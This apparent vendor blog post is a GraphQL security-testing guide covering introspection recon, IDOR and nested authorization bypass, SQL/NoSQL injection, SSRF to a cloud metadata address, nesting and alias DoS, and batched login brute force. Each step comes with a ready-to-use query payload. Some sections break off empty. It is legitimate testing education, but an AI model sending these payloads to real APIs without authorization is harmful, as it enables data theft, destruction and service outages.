GraphQL Security Testing: Introspection, Injection, and Authorization Flaws

GraphQL changes the shape of an API, and it changes the shape of the attack surface. A single endpoint that accepts arbitrary queries from the client is a different threat model than a collection of REST endpoints with discrete inputs. Most security teams are still testing GraphQL like it is REST — checking authentication on the endpoint and calling it done. That misses most of what actually matters.

This guide covers the GraphQL-specific attack surface: what to enumerate, what to inject, how authorization breaks at scale, and what query complexity abuse looks like in practice.

Step 1: Introspection as Reconnaissance

GraphQL introspection lets clients query the API schema — every type, field, argument, mutation, and subscription. In production APIs this is frequently left enabled, giving attackers a complete map of the API before they send a single real request.

The introspection query:

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      kind
      fields {
        name
        args { name type { name kind ofType { name kind } } }
        type { name kind ofType { name kind } }
      }
    }
  }
}

Run this first. If the API returns a schema, you have enumerated every accessible operation. Tools like GraphQL Voyager, InQL (Burp extension), and clairvoyance (for introspection-disabled endpoints) automate this step.

When introspection is disabled, attackers use field suggestion attacks. GraphQL often returns suggestions when a field name is close to a valid one:

{ user(id: 1) { passwrd } }

# Response:
# "Cannot query field 'passwrd'. Did you mean 'password'?"

Tools like clairvoyance systematically probe with common field names and build a schema from suggestions alone. Disabling introspection is not a sufficient control.

Step 2: Authorization Testing in GraphQL

REST API authorization is relatively easy to test: does endpoint X return data for the wrong user? GraphQL authorization is harder because the same resolver may be called from multiple query paths, and authorization logic is frequently scattered across individual resolvers rather than applied at a gateway.

Horizontal privilege escalation via direct object reference

The most common finding. GraphQL resolvers often accept arbitrary IDs and return objects without checking ownership:

# Authenticated as user 123, requesting another user's data
query {
  user(id: 456) {
    email
    phone
    paymentMethods { last4 cardType }
    orders { id total items { name price } }
  }
}

Test every query that accepts an ID argument with out-of-scope IDs. Enumerate using sequential integers and GUIDs from other accounts you control.

Nested query authorization bypass

Authorization checks on the top-level query may not propagate to nested resolvers. A common pattern:

# Direct access to private resource is blocked
query { adminPanel { users { email password_hash } } }

# But the same data is reachable through a less-protected parent
query {
  publicProduct(id: 1) {
    reviews {
      author {
        email
        adminPanel { users { email password_hash } }
      }
    }
  }
}

Map the type graph from introspection, then trace paths to sensitive fields through parent types that have weaker authorization. Every path to a sensitive type is a potential bypass.

Mutation authorization

Mutations modify state and are higher impact. Test whether mutations enforce authorization independently of queries:

Step 3: Injection via GraphQL Arguments

GraphQL arguments are passed to resolvers, and resolvers frequently build database queries or call backend services with those arguments. The injection surface is the same as REST — SQL, NoSQL, SSRF, command injection — but the delivery mechanism differs.

SQL injection in GraphQL resolvers

# Standard SQLi probe via argument
query {
  users(filter: "' OR '1'='1") {
    id email
  }
}

# Order-by injection (common in list queries)
query {
  products(orderBy: "name; DROP TABLE products--") {
    id name price
  }
}

Use sqlmap with the --data flag pointing at a captured GraphQL POST request. For JSON-encoded queries, set the content type and point sqlmap at the variable under test. Alternatively, use gqlmap which understands GraphQL query structure natively.

NoSQL injection

GraphQL over MongoDB is particularly susceptible. MongoDB operators in arguments that get passed to find() queries without sanitization:

query {
  user(email: { "$gt": "" }) {
    id email password_hash
  }
}

SSRF via URL-type arguments

mutation {
  importData(sourceUrl: "http://169.254.169.254/latest/meta-data/") {
    status
    data
  }
}

Check any argument that accepts a URL, hostname, or path for SSRF — webhook URLs, import sources, avatar URLs, redirect targets.

Step 4: Query Complexity and DoS

GraphQL's flexible query model enables clients to request deeply nested data in a single query. Without server-side controls, a small client request can produce a massive server-side workload.

Deeply nested queries

query {
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            friends {
              id email
            }
          }
        }
      }
    }
  }
}

Five levels of friends on a social graph triggers exponential database queries. Test with progressively deeper nesting and measure response time and server load. Well-configured APIs reject queries exceeding a complexity threshold or depth limit.

Field duplication / alias attacks

query {
  a1: expensiveOperation(input: "x") { result }
  a2: expensiveOperation(input: "x") { result }
  a3: expensiveOperation(input: "x") { result }
  # ... repeat 500 times
}

GraphQL aliases allow the same field to be queried multiple times in one request. Without alias deduplication, each alias resolves independently. This is a common application-layer DoS vector.

Batching attacks

GraphQL supports request batching — sending an array of operations in a single HTTP request. This bypasses rate limits that operate at the HTTP request level:

[
  { "query": "mutation { login(username: \"admin\", password: \"pass1\") { token } }" },
  { "query": "mutation { login(username: \"admin\", password: \"pass2\") { token } }" },
  { "query": "mutation { login(username: \"admin\", password: \"pass3\") { token } }" }
]

Send 1,000 login attempts in a single HTTP request. One request, one rate limit token consumed, 1,000 password guesses executed. This is how batching attacks bypass brute-force protections on authentication endpoints. Test any mutation that accepts credentials, OTPs, or verification codes.

Step 5: Subscription Security

GraphQL subscriptions maintain persistent WebSocket connections that push data to the client when events occur. They introduce a different attack surface:

subscription {
  orderUpdated(userId: 456) {  # test with another user's ID
    id status total
  }
}

Common GraphQL Security Findings

Finding Severity Common cause
Introspection enabled in production Medium Default framework configuration
IDOR via argument-level access control High Resolver checks missing or incomplete
Authorization bypass via nested types High Auth logic at query level, not field level
SQL injection via unsanitized arguments Critical String concatenation in resolver queries
Batching attack bypasses rate limiting High No per-operation rate limiting
No query depth or complexity limits Medium Framework defaults, no custom middleware
Verbose error messages with stack traces Low/Medium Debug mode enabled in production

Testing Tools

What Automated Scanners Miss

Standard DAST scanners treat GraphQL endpoints as black boxes and typically miss:

Effective GraphQL security testing combines automated schema extraction with manual authorization verification across all query paths. The schema is the map; the authorization logic is what you are actually testing.

Testing an API-heavy application? Ironimo runs authenticated scans against GraphQL endpoints — covering injection, introspection exposure, and common authorization patterns — using the same Kali Linux toolchain a professional pentester would use.

Start free scan
← Back to blog